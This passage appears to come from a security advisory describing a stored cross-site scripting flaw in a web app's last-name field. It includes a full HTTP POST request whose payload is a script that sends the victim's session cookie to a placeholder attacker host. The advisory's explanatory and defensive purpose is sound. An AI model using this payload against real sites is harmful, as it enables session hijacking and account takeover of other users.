How the Exploit Works
An attacker can exploit this vulnerability by injecting malicious scripts into the last name field on the affected endpoint. When other users or administrators view these injected scripts, the scripts get executed within the context of their user session. This could allow the attacker to hijack user sessions, deface web sites, or redirect the user to malicious sites.
Conceptual Example Code
Here’s a conceptual example of how an attacker might exploit this vulnerability:
POST /projects/profile HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
last_name=<script>new Image().src='http://attacker-site.com/steal.php?cookie='+document.cookie;</script>In this example, the attacker sends a POST request to the vulnerable endpoint (‘/projects/profile’) with a malicious payload in the last_name field. This script, when executed, would send the user’s cookie to the attacker’s server, effectively allowing the attacker to hijack the user’s session.
